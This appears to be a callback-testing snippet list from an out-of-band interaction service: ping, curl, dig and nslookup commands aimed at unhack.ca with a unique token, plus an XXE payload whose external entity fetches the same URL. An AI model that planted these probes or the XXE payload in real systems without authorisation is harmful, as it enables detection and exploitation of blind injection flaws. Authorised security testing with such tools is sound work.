$ ping -c1 -p 00dc3830f9c5bd937b25dc0b07a93600 unhack.ca
 

$ curl http://unhack.ca/p/dc3830f9c5bd937b25dc0b07a936
 

$ dig dc3830f9c5bd937b25dc0b07a936 @unhack.ca
 

$ dig dc3830f9c5bd937b25dc0b07a936.ns.unhack.ca
 

C:\> nslookup dc3830f9c5bd937b25dc0b07a936 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/dc3830f9c5bd937b25dc0b07a936">]>
    <foo>&xxe;</foo>